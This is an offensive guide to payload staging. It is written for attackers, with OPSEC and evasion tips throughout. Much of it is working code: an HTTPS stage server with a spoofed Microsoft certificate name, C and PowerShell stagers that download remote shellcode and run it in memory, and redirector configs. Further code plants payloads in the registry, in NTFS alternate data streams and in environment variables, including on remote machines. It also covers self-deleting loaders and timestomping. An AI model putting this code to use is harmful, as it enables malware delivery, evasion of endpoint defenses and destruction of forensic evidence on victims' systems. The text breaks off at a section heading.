Legend:
[STAGE]= Staging technique |[FETCH]= Payload retrieval method |[STORE]= Storage location |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[API]= Windows API / system call
1. What is Payload Staging
What it means: Payload staging is the practice of splitting an attack into multiple parts — a small initial foothold (Stage 0 / stager) that reaches out to fetch the real payload (Stage 1 / implant) from a remote or local location. The stager itself contains no dangerous payload bytes; it only contains logic to retrieve and execute the actual shellcode, binary, or reflective DLL.
The core problem staging solves:
Stageless payload (everything in one file):
├─ Full Cobalt Strike beacon: ~250KB
├─ Meterpreter reverse_tcp shell: ~200KB
├─ AV/EDR scans entire file on disk
├─ All shellcode bytes present at rest
└─ Single AV signature = entire attack blocked
Staged payload:
├─ Stage 0 (stager): ~5–15KB
│ └─ Contains: connect-to-C2 logic only
│ └─ AV scan: no shellcode = no signature
│
└─ Stage 1 (implant): ~250KB → lives on remote server
└─ Only fetched after stager runs
└─ Never touches disk (in-memory only)
└─ AV never sees it on the victim's disk
Full staging architecture:
[Attacker Infrastructure] [Victim Machine]
Stage 1 (full implant) Stage 0 (stager / loader)
stored on: ──────> runs on victim
├─ HTTP/HTTPS server │
├─ DNS TXT record │ 1. Stager executes (tiny foothold)
├─ SMB share │ 2. Stager fetches Stage 1 over network
├─ Registry (pre-planted) │ 3. Stage 1 decrypted in memory
├─ Cloud storage │ 4. Stage 1 injected and executed
└─ WMI repository │ 5. Full C2 channel established
│
Stage 1 (full implant)
lives ONLY in memory
never written to disk
Why staging is used over stageless:
| Factor | Stageless | Staged |
|---|---|---|
| AV/EDR bypass | Hard — full payload on disk | Easy — only tiny stager on disk |
| Payload size limits (macros, phishing) | Hard to fit | Small stager fits anywhere |
| Operational flexibility | Fixed payload | Can swap Stage 1 without new delivery |
| Disk forensics | Full payload recoverable | Only stager recovered — implant gone |
| Network exposure | None | Stage 1 fetched over network |
| C2 dependency | None | Stage 1 source must be reachable |
[OPSEC] The stager's network request is your loudest moment. The outbound fetch to retrieve Stage 1 will be logged, proxied, inspected, and potentially blocked. Blend it with legitimate traffic patterns.
2. Staged vs Stageless — Core Difference
What it means: This is the foundational architectural choice. Every implant, RAT, and C2 framework supports both. The delivery method, environment, and operational goals determine which to use.
2.1 Stageless Architecture
Stageless:
┌─────────────────────────────────────────────┐
│ loader.exe (delivered to victim) │
│ ├─ Decryption stub (AES/XOR) │
│ ├─ Encrypted shellcode blob (entire beacon) │
│ └─ Execution logic │
└─────────────────────────────────────────────┘
│
▼
Executes entirely from within one file
No network request needed for payload
Good for: air-gapped targets, no internet
2.2 Staged Architecture
Staged:
┌─────────────────┐ ┌─────────────────────────┐
│ stager.exe │ fetch │ Stage Server │
│ (tiny, ~5KB) │ ───────> │ /beacon.bin (250KB) │
│ ├─ URL/host │ │ /implant.enc (150KB) │
│ └─ Fetch+exec │ └─────────────────────────┘
└─────────────────┘
│
▼ (in memory only)
[Full C2 beacon executing]
2.3 Common Staging Scenarios by Framework
Metasploit:
msfvenom -p windows/x64/meterpreter/reverse_tcp ← STAGED (uses /)
msfvenom -p windows/x64/meterpreter_reverse_tcp ← STAGELESS (no /)
Stage 1 served by: msfconsole handler (port 4444)
Cobalt Strike:
Beacon stager (small) → fetches full beacon from Team Server
Stage served over: HTTP(S) on port 80/443 by default
Malleable C2 profile controls how stage traffic looks
Havoc C2:
Demon stager → fetches demon implant from Havoc listener
Supports: HTTP, HTTPS, SMB staging
Sliver:
stager → fetches implant from sliver server
Supports: HTTP, HTTPS, mTLS, WireGuard
2.4 When to Use Which
| Scenario | Use |
|---|---|
| Phishing attachment (size limit) | Staged — stager fits in Office macro |
| USB drop / physical access | Stageless — no C2 needed for initial drop |
| Air-gapped network | Stageless — can't reach stage server |
| EDR present on target | Staged — stager has no payload signature |
| Rapid redeployment (swap payload) | Staged — update Stage 1 on server only |
| Lateral movement (already internal) | Either — SMB staging works well internally |
| Long-term persistence | Stageless — doesn't need repeated server contact |
3. Web Server Staging (HTTP / HTTPS)
What it means: The most common staging method. Stage 1 is hosted on an attacker-controlled web server (or a compromised legitimate server). The stager makes an HTTP/HTTPS GET request to fetch the payload, decrypts it in memory, and executes it.
3.1 Serving the Stage — Python HTTPS Server
#!/usr/bin/env python3
# stage_server.py — Simple HTTPS staging server with auth
# Generates self-signed cert and serves encrypted stage payload
import ssl
import http.server
import socketserver
import hashlib
import os
STAGE_FILE = "stage1.enc" # Encrypted Stage 1 payload
STAGE_PATH = "/beacon" # URL path stager fetches
AUTH_TOKEN = "X-Auth: s3cr3t" # Optional auth header to gate access
PORT = 443
class StagingHandler(http.server.SimpleHTTPRequestHandler):
def log_message(self, format, *args):
# Log client IP + request
print(f"[+] {self.client_address[0]} → {format % args}")
def do_GET(self):
if self.path != STAGE_PATH:
# Return 404 for anything unexpected (avoid fingerprinting)
self.send_response(404)
self.end_headers()
return
# Optional: verify auth header
auth = self.headers.get("X-Auth", "")
if auth != "s3cr3t":
self.send_response(403)
self.end_headers()
return
# Serve the encrypted stage payload
with open(STAGE_FILE, "rb") as f:
data = f.read()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(data)))
# Blend with a plausible response header
self.send_header("Server", "Apache/2.4.54 (Ubuntu)")
self.end_headers()
self.wfile.write(data)
print(f"[+] Stage delivered: {len(data)} bytes")
# Generate self-signed cert for HTTPS
os.system("openssl req -new -x509 -keyout server.key -out server.crt "
"-days 365 -nodes -subj '/CN=updates.microsoft.com' 2>/dev/null")
httpd = socketserver.TCPServer(("0.0.0.0", PORT), StagingHandler)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("server.crt", "server.key")
httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
print(f"[*] HTTPS stage server on port {PORT}")
print(f"[*] Stage path: https://<IP>{STAGE_PATH}")
httpd.serve_forever()
3.2 Stager — HTTP Fetch in C (WinINet)
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
// Link: -lwininet
// HTTP stager — fetches encrypted Stage 1, decrypts, executes in memory
#define STAGE_HOST L"192.168.1.100"
#define STAGE_PORT 443
#define STAGE_PATH L"/beacon"
#define AUTH_HEADER L"X-Auth: s3cr3t\r\n"
#define XOR_KEY 0x4B // Must match server-side encryption key
LPBYTE FetchStageHTTPS(SIZE_T* outSize) {
HINTERNET hInet = NULL, hConn = NULL, hReq = NULL;
LPBYTE pBuf = NULL;
DWORD bytesRead = 0;
SIZE_T totalRead = 0;
// Initialize WinINet — use neutral user agent to blend in
hInet = InternetOpenW(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
INTERNET_OPEN_TYPE_PRECONFIG, // Use system proxy
NULL, NULL, 0);
if (!hInet) goto cleanup;
// Connect to stage server
hConn = InternetConnectW(hInet, STAGE_HOST, STAGE_PORT,
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hConn) goto cleanup;
// Open request (HTTPS)
DWORD flags = INTERNET_FLAG_SECURE
| INTERNET_FLAG_NO_CACHE_WRITE
| INTERNET_FLAG_RELOAD
| INTERNET_FLAG_IGNORE_CERT_ERRORS; // For self-signed cert
hReq = HttpOpenRequestW(hConn, L"GET", STAGE_PATH,
NULL, NULL, NULL, flags, 0);
if (!hReq) goto cleanup;
// Add auth header
HttpAddRequestHeadersW(hReq, AUTH_HEADER, (DWORD)-1,
HTTP_ADDREQ_FLAG_ADD);
// Send request
if (!HttpSendRequestW(hReq, NULL, 0, NULL, 0)) goto cleanup;
// Read Content-Length first
DWORD contentLen = 0;
DWORD bufLen = sizeof(DWORD);
HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
&contentLen, &bufLen, NULL);
// Allocate buffer
pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
contentLen + 1);
if (!pBuf) goto cleanup;
// Read payload
while (InternetReadFile(hReq, pBuf + totalRead,
contentLen - (DWORD)totalRead, &bytesRead)
&& bytesRead > 0) {
totalRead += bytesRead;
}
*outSize = totalRead;
printf("[+] Stage fetched: %zu bytes\n", totalRead);
cleanup:
if (hReq) InternetCloseHandle(hReq);
if (hConn) InternetCloseHandle(hConn);
if (hInet) InternetCloseHandle(hInet);
return pBuf;
}
// XOR decrypt the fetched stage
void XorDecrypt(LPBYTE data, SIZE_T len, BYTE key) {
for (SIZE_T i = 0; i < len; i++)
data[i] ^= key;
}
// Execute stage in memory (shellcode injection into self)
BOOL ExecuteStageInMemory(LPBYTE shellcode, SIZE_T len) {
// Allocate RWX memory in current process
LPVOID pExec = VirtualAlloc(NULL, len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pExec) return FALSE;
memcpy(pExec, shellcode, len);
// Change to RX (better OPSEC)
DWORD oldProt;
VirtualProtect(pExec, len, PAGE_EXECUTE_READ, &oldProt);
// Create thread to execute
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)pExec,
NULL, 0, NULL);
if (!hThread) return FALSE;
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return TRUE;
}
int main(void) {
SIZE_T stageSize = 0;
// Step 1: Fetch Stage 1 over HTTPS
LPBYTE pStage = FetchStageHTTPS(&stageSize);
if (!pStage || stageSize == 0) {
printf("[-] Failed to fetch stage\n");
return 1;
}
// Step 2: Decrypt in memory
XorDecrypt(pStage, stageSize, XOR_KEY);
printf("[+] Stage decrypted\n");
// Step 3: Execute in memory (never touches disk)
ExecuteStageInMemory(pStage, stageSize);
// Step 4: Wipe memory before freeing
SecureZeroMemory(pStage, stageSize);
HeapFree(GetProcessHeap(), 0, pStage);
return 0;
}
3.3 Stager — PowerShell (One-Liner)
# PowerShell HTTP stager — fetches and executes in memory
# No files written to disk
# Basic (no SSL validation bypass needed for valid cert)
$b = (New-Object Net.WebClient).DownloadData("https://192.168.1.100/beacon")
$k = 0x4B # XOR key
$d = [byte[]]($b | ForEach-Object { $_ -bxor $k })
$m = [System.Runtime.InteropServices.Marshal]
$p = $m::AllocHCoGlobal($d.Length)
$m::Copy($d, 0, $p, $d.Length)
$vp = [System.Runtime.InteropServices.RuntimeEnvironment]
# → Use VirtualAlloc + CreateThread via P/Invoke for full execution
# More complete version with P/Invoke execution:
$code = @"
using System;
using System.Runtime.InteropServices;
public class Stager {
[DllImport("kernel32")] public static extern IntPtr VirtualAlloc(
IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32")] public static extern IntPtr CreateThread(
IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);
[DllImport("kernel32")] public static extern uint WaitForSingleObject(
IntPtr h, uint ms);
public static void Run(byte[] sc) {
IntPtr p = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, p, sc.Length);
IntPtr t = CreateThread(IntPtr.Zero, 0, p, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(t, 0xFFFFFFFF);
}
}
"@
Add-Type -TypeDefinition $code
$wc = New-Object Net.WebClient
$wc.Headers.Add("X-Auth", "s3cr3t")
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$bytes = $wc.DownloadData("https://192.168.1.100/beacon")
$key = 0x4B
$dec = [byte[]]($bytes | ForEach-Object { $_ -bxor $key })
[Stager]::Run($dec)
3.4 Redirectors — Domain Fronting & CDN
Domain Fronting / CDN Staging Architecture:
══════════════════════════════════════════════════════
Victim CDN (Cloudflare/Fastly/Azure) Real C2
GET /update.bin Host: cdn.legitimate.com GET /beacon
Host: cdn.legit ──> CDN edge node ─────────────────> 192.168.1.100
TLS to CDN ├─ Looks like CDN traffic Serves stage
└─ Victim sees CDN cert
══════════════════════════════════════════════════════
Tools: Cobalt Strike redirectors, Apache mod_rewrite, Nginx
# Nginx redirector config — forward /update.bin to real C2
server {
listen 443 ssl;
server_name cdn.legitimate-looking.com;
ssl_certificate /etc/ssl/certs/cert.pem;
ssl_certificate_key /etc/ssl/private/key.pem;
# Only proxy known staging paths
location /update.bin {
proxy_pass https://192.168.1.100/beacon;
proxy_set_header Host $host;
proxy_ssl_verify off;
}
# Serve a real-looking page for everything else (avoid fingerprinting)
location / {
return 302 https://www.microsoft.com/;
}
}
[OPSEC] Category-filter your staging domain. Use a domain aged >30 days, categorized as "Technology" or "Business" in tools like URLScan / Bluecoat WebPulse. Blue Coat/Zscaler/Palo Alto block uncategorized domains by default.
[DETECT] HTTP staging over port 80/443 from a suspicious process is logged by network proxies, NDR tools (Zeek/Suricata), and endpoint network monitoring (EDR network events). Blend with legitimate traffic timing and use JA3/JA3S fingerprint matching to mimic known-good TLS clients.
4. Windows Registry Staging
What it means: The Windows Registry is used as a storage location for payload bytes. The stager reads the payload from a registry key at runtime, decodes/decrypts it, and executes it. The payload is never stored as a file on disk — only as registry data.
4.1 Registry as Payload Store — Concepts
Registry staging locations (common choices):
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\
HKCU\Software\Classes\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ (requires admin)
HKCU\Software\<random GUID>\
Value types:
REG_BINARY → Store raw shellcode bytes directly
REG_SZ → Store Base64-encoded payload (ASCII string)
REG_MULTI_SZ → Store payload split across multiple string values
Why registry?
├─ No file on disk → evades file-based AV scans
├─ Persists across reboots without a separate persistence mechanism
├─ Registry keys look like legitimate Windows config data
├─ AV rarely scans registry values for shellcode
└─ Easy to access from any context (usermode, scripting, C, PowerShell)
4.2 Writing Stage to Registry (Python — Attacker Side)
#!/usr/bin/env python3
# plant_registry_stage.py
# Runs on a machine where you already have access (or remotely via SMB/WMI)
# Plants encrypted shellcode into the registry for the stager to read later
import winreg
import base64
import os
# Read your encrypted stage payload
with open("stage1.enc", "rb") as f:
payload = f.read()
# Encode as Base64 for REG_SZ storage (avoids binary encoding issues)
b64_payload = base64.b64encode(payload).decode()
# Target registry key (HKCU — no admin needed)
key_path = r"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
value_name = "EnableBalloonTips" # ← Blend with legitimate-looking value name
try:
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path,
0, winreg.KEY_SET_VALUE)
except FileNotFoundError:
key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path)
winreg.SetValueEx(key, value_name, 0, winreg.REG_SZ, b64_payload)
winreg.CloseKey(key)
print(f"[+] Stage planted in registry")
print(f" Key: HKCU\\{key_path}")
print(f" Value: {value_name}")
print(f" Size: {len(b64_payload)} bytes (Base64 of {len(payload)} bytes)")
4.3 Reading Stage from Registry (C — Stager)
#include <windows.h>
#include <stdio.h>
// Stager reads payload from registry, decrypts, executes in memory
#define REG_KEY L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"
#define REG_VALUE L"EnableBalloonTips"
#define XOR_KEY 0x4B
// Simple Base64 decode (or use CryptStringToBinaryA for built-in Windows decode)
// Here we use Windows built-in: CryptStringToBinaryA
#include <wincrypt.h>
// Link: -lcrypt32
LPBYTE ReadStageFromRegistry(SIZE_T* outSize) {
HKEY hKey = NULL;
LPWSTR pRegData = NULL;
LPBYTE pDecoded = NULL;
// Open registry key
LONG ret = RegOpenKeyExW(HKEY_CURRENT_USER, REG_KEY,
0, KEY_READ, &hKey);
if (ret != ERROR_SUCCESS) {
printf("[-] RegOpenKeyEx failed: %ld\n", ret);
return NULL;
}
// Query value size first
DWORD dataType = 0;
DWORD dataSize = 0;
ret = RegQueryValueExW(hKey, REG_VALUE, NULL, &dataType, NULL, &dataSize);
if (ret != ERROR_SUCCESS) {
printf("[-] RegQueryValueEx (size) failed: %ld\n", ret);
RegCloseKey(hKey);
return NULL;
}
// Allocate and read the Base64 string
pRegData = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dataSize + 2);
ret = RegQueryValueExW(hKey, REG_VALUE, NULL, &dataType,
(LPBYTE)pRegData, &dataSize);
RegCloseKey(hKey);
if (ret != ERROR_SUCCESS) {
printf("[-] RegQueryValueEx (read) failed: %ld\n", ret);
HeapFree(GetProcessHeap(), 0, pRegData);
return NULL;
}
printf("[+] Read %lu bytes from registry\n", dataSize);
// Convert wide string to narrow for CryptStringToBinaryA
int narrowLen = WideCharToMultiByte(CP_ACP, 0, pRegData, -1,
NULL, 0, NULL, NULL);
LPSTR pNarrow = (LPSTR)HeapAlloc(GetProcessHeap(), 0, narrowLen);
WideCharToMultiByte(CP_ACP, 0, pRegData, -1, pNarrow, narrowLen, NULL, NULL);
HeapFree(GetProcessHeap(), 0, pRegData);
// Base64 decode using Windows CryptStringToBinaryA
DWORD decodedSize = 0;
CryptStringToBinaryA(pNarrow, 0, CRYPT_STRING_BASE64,
NULL, &decodedSize, NULL, NULL);
pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, decodedSize);
CryptStringToBinaryA(pNarrow, 0, CRYPT_STRING_BASE64,
pDecoded, &decodedSize, NULL, NULL);
HeapFree(GetProcessHeap(), 0, pNarrow);
*outSize = decodedSize;
printf("[+] Decoded %lu bytes from Base64\n", decodedSize);
return pDecoded;
}
int main(void) {
SIZE_T stageSize = 0;
// Step 1: Read from registry
LPBYTE pStage = ReadStageFromRegistry(&stageSize);
if (!pStage) return 1;
// Step 2: XOR decrypt
for (SIZE_T i = 0; i < stageSize; i++)
pStage[i] ^= XOR_KEY;
// Step 3: Execute in memory
LPVOID pExec = VirtualAlloc(NULL, stageSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(pExec, pStage, stageSize);
SecureZeroMemory(pStage, stageSize);
HeapFree(GetProcessHeap(), 0, pStage);
DWORD old;
VirtualProtect(pExec, stageSize, PAGE_EXECUTE_READ, &old);
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)pExec,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
4.4 PowerShell Registry Stager
# Read stage from registry and execute in memory
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
$regValue = "EnableBalloonTips"
# Read and decode
$b64 = (Get-ItemProperty -Path $regPath -Name $regValue).$regValue
$enc = [Convert]::FromBase64String($b64)
# XOR decrypt
$key = 0x4B
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $key })
# Execute via P/Invoke (same pattern as §3.3)
# ... [P/Invoke VirtualAlloc + CreateThread as in §3.3]
4.5 Remote Registry Staging (Plant via SMB)
:: Plant payload on remote machine via registry (requires admin)
:: First, base64 encode your payload:
:: certutil -encode stage1.enc stage1.b64
:: Read b64 content into variable, then write to remote registry
reg add \\192.168.1.50\HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced ^
/v EnableBalloonTips /t REG_SZ /d "<base64_payload>" /f
# Remote registry staging via Impacket (Linux attacker machine)
from impacket.dcerpc.v5 import transport, rrp
target = "192.168.1.50"
user = "DOMAIN\\admin"
passwd = "password"
# Connect to remote registry via SMB
rpctransport = transport.SMBTransport(target, 445, r'\winreg', user, passwd)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Open HKCU
ans = rrp.hOpenCurrentUser(dce)
regHandle = ans['phKey']
# Open/create key
ans = rrp.hBaseRegOpenKey(dce, regHandle,
'Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced')
keyHandle = ans['phkResult']
# Write payload as Base64 string
import base64
with open("stage1.enc", "rb") as f:
data = base64.b64encode(f.read()).decode()
rrp.hBaseRegSetValue(dce, keyHandle, 'EnableBalloonTips',
rrp.REG_SZ, data + '\x00')
print("[+] Stage planted in remote registry")
[OPSEC] Avoid HKLM for staging without a strong reason — it requires admin rights and gets more scrutiny. HKCU under existing legitimate-looking key paths is lower-noise.
[DETECT] Sysmon EventID 13 (RegistryValueSet) and EventID 12 (RegistryCreateAndDelete) will log registry writes. Use value names that match legitimate Windows values in the same key to reduce analyst suspicion.
5. File System Staging
What it means: The payload is written to disk in a location that AV is unlikely to scan aggressively, or in a format that doesn't trigger signatures. The stager reads from disk rather than network, which can bypass network-based detection.
5.1 Common Staging Locations
Low-visibility file system locations:
User profile:
%APPDATA%\Microsoft\Windows\Themes\ ← Legit-looking theme data
%LOCALAPPDATA%\Microsoft\Windows\ ← Common app cache location
%TEMP%\ ← Cleaned frequently, but OK short-term
System locations (admin required):
C:\Windows\System32\spool\drivers\color\ ← ICC profiles — AV skips
C:\Windows\Tasks\ ← Scheduled task data
C:\ProgramData\Microsoft\ ← Rarely scanned deeply
Program Files disguise:
C:\Program Files\Common Files\Microsoft Shared\
C:\Program Files\Windows NT\Accessories\
File naming tricks:
svchost.dat ← Looks like svchost data file
update.db ← Looks like update database
config.bin ← Generic binary config
telemetry.log ← Logging data — low scrutiny
thumbcache_256.db ← Mimics Windows thumbnail cache
5.2 Writing Stage to Disk (Encrypted)
#include <windows.h>
#include <stdio.h>
// Write encrypted stage to a disguised file location
BOOL PlantStageOnDisk(LPBYTE encStage, SIZE_T stageLen) {
wchar_t stagePath[MAX_PATH];
// Build path: %APPDATA%\Microsoft\Windows\Themes\ThemeData.bin
ExpandEnvironmentStringsW(
L"%APPDATA%\\Microsoft\\Windows\\Themes\\ThemeData.bin",
stagePath, MAX_PATH);
HANDLE hFile = CreateFileW(stagePath,
GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL
| FILE_ATTRIBUTE_HIDDEN, // Hidden file attribute
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] CreateFile failed: %lu\n", GetLastError());
return FALSE;
}
DWORD written;
WriteFile(hFile, encStage, (DWORD)stageLen, &written, NULL);
CloseHandle(hFile);
printf("[+] Stage planted: %ls (%lu bytes)\n", stagePath, written);
return TRUE;
}
// Read stage from disk and execute
BOOL LoadAndExecuteStage(void) {
wchar_t stagePath[MAX_PATH];
ExpandEnvironmentStringsW(
L"%APPDATA%\\Microsoft\\Windows\\Themes\\ThemeData.bin",
stagePath, MAX_PATH);
HANDLE hFile = CreateFileW(stagePath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
DWORD fileSize = GetFileSize(hFile, NULL);
LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize);
DWORD bytesRead;
ReadFile(hFile, pBuf, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
// Delete after reading (anti-forensics)
DeleteFileW(stagePath);
printf("[+] Stage read and deleted from disk\n");
// Decrypt + execute (XOR example)
for (DWORD i = 0; i < bytesRead; i++) pBuf[i] ^= 0x4B;
LPVOID pExec = VirtualAlloc(NULL, bytesRead,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(pExec, pBuf, bytesRead);
SecureZeroMemory(pBuf, bytesRead);
HeapFree(GetProcessHeap(), 0, pBuf);
DWORD old;
VirtualProtect(pExec, bytesRead, PAGE_EXECUTE_READ, &old);
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)pExec,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
5.3 Timestomping (Anti-Forensics)
// After planting a file, overwrite its timestamps to match nearby system files
// This makes the file look like it existed long before the attack
BOOL TimestompFile(const wchar_t* filePath, const wchar_t* referenceFile) {
// Get timestamps from a reference file (e.g., nearby legitimate file)
HANDLE hRef = CreateFileW(referenceFile, GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hRef == INVALID_HANDLE_VALUE) return FALSE;
FILETIME creationTime, lastAccessTime, lastWriteTime;
GetFileTime(hRef, &creationTime, &lastAccessTime, &lastWriteTime);
CloseHandle(hRef);
// Apply reference timestamps to our planted file
HANDLE hTarget = CreateFileW(filePath, FILE_WRITE_ATTRIBUTES,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hTarget == INVALID_HANDLE_VALUE) return FALSE;
SetFileTime(hTarget, &creationTime, &lastAccessTime, &lastWriteTime);
CloseHandle(hTarget);
printf("[+] Timestamps cloned from reference file\n");
return TRUE;
}
[DETECT] Sysmon EventID 11 (FileCreate) catches file creation. EventID 23 (FileDelete) catches self-deletion. Timestomping is detected by comparing $STANDARD_INFORMATION and $FILE_NAME NTFS attributes (they differ after a stomp).
6. Environment Variable Staging
What it means: Payload bytes (Base64-encoded) are stored in environment variables. Environment variables persist for the session (or permanently if set in the registry) and are accessible to child processes. Rarely monitored for shellcode storage.
6.1 Setting Payload in Environment Variables
:: Set a user-scope environment variable (persists until reboot or explicit clear)
:: Base64-encode your payload first:
:: certutil -encode stage1.enc stage1.b64 && type stage1.b64
set APPDATA_CACHE=<base64_encoded_payload>
:: For persistence (writes to registry HKCU\Environment)
setx APPDATA_CACHE "<base64_encoded_payload>"
# PowerShell: store payload in environment variable (session-scoped)
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("stage1.enc"))
[Environment]::SetEnvironmentVariable("APPDATA_CACHE", $b64, "User") # Permanent
$env:APPDATA_CACHE = $b64 # Session only
# Retrieve and execute
$enc = [Convert]::FromBase64String($env:APPDATA_CACHE)
$key = 0x4B
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $key })
# → Execute via P/Invoke as in §3.3
6.2 Reading Environment Variable in C (Stager)
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
LPBYTE ReadStageFromEnvVar(const char* varName, SIZE_T* outSize) {
// Get size first
DWORD needed = GetEnvironmentVariableA(varName, NULL, 0);
if (needed == 0) {
printf("[-] Env var '%s' not found\n", varName);
return NULL;
}
LPSTR pB64 = (LPSTR)HeapAlloc(GetProcessHeap(), 0, needed);
GetEnvironmentVariableA(varName, pB64, needed);
printf("[+] Read %lu chars from env var\n", needed);
// Base64 decode
DWORD decodedSize = 0;
CryptStringToBinaryA(pB64, 0, CRYPT_STRING_BASE64,
NULL, &decodedSize, NULL, NULL);
LPBYTE pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
CryptStringToBinaryA(pB64, 0, CRYPT_STRING_BASE64,
pDecoded, &decodedSize, NULL, NULL);
HeapFree(GetProcessHeap(), 0, pB64);
// Wipe env var after reading (cleanup)
SetEnvironmentVariableA(varName, NULL);
*outSize = decodedSize;
return pDecoded;
}
[OPSEC] Environment variable payloads are limited in size (~32KB per variable on older Windows, ~1MB practical limit). Split large payloads across multiple variables and reassemble.
7. Alternate Data Streams (ADS)
What it means: NTFS Alternate Data Streams allow files to have multiple data streams attached. The default stream is filename.ext:$DATA. An attacker can write shellcode to a hidden stream like legit.txt:payload — the file looks normal to Explorer and most tools, but the hidden stream contains the payload.
7.1 Writing an ADS
:: Write payload to ADS of an innocent-looking file
:: The file legit.txt appears 0 bytes or contains dummy text
:: The stream :hidden contains the actual payload
:: Create innocent file
echo This is a configuration file. > C:\Users\Public\config.txt
:: Write payload to ADS
type stage1.enc > C:\Users\Public\config.txt:payload
:: Verify ADS exists
dir /R C:\Users\Public\config.txt
:: Output: config.txt
:: config.txt:payload:$DATA ← Hidden stream visible with /R flag
# PowerShell: write Base64 payload to ADS
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("stage1.enc"))
Set-Content -Path "C:\Users\Public\config.txt:payload" -Value $b64
# Read back
$enc = [Convert]::FromBase64String((Get-Content "C:\Users\Public\config.txt:payload"))
7.2 Reading ADS in C (Stager)
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
// Read payload from NTFS Alternate Data Stream
// ADS path format: "C:\path\to\file.txt:streamname"
LPBYTE ReadStageFromADS(const wchar_t* adsPath, SIZE_T* outSize) {
// Open the ADS using standard CreateFile with the :streamname syntax
HANDLE hFile = CreateFileW(adsPath,
GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open ADS: %lu\n", GetLastError());
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize + 1);
DWORD bytesRead;
ReadFile(hFile, pBuf, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
pBuf[bytesRead] = 0; // Null terminate for Base64 decode
// Base64 decode
DWORD decodedSize = 0;
CryptStringToBinaryA((LPCSTR)pBuf, 0, CRYPT_STRING_BASE64,
NULL, &decodedSize, NULL, NULL);
LPBYTE pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
CryptStringToBinaryA((LPCSTR)pBuf, 0, CRYPT_STRING_BASE64,
pDecoded, &decodedSize, NULL, NULL);
HeapFree(GetProcessHeap(), 0, pBuf);
*outSize = decodedSize;
printf("[+] ADS stage read: %lu bytes\n", decodedSize);
return pDecoded;
}
// Usage:
// LPBYTE stage = ReadStageFromADS(L"C:\\Users\\Public\\config.txt:payload", &sz);
[DETECT] Sysmon EventID 15 (FileCreateStreamHash) specifically monitors ADS creation. ADS is well-known; any blue team with Sysmon configured will alert on *:* stream creation. Use only when Sysmon is not present.
[EVASION] Zone.Identifier is a built-in ADS that Windows writes on downloaded files. Blending your stream into a path like %TEMP%\download.tmp:Zone.Identifier normalizes it slightly, though the content would still look unusual.
8. Windows Event Log Staging
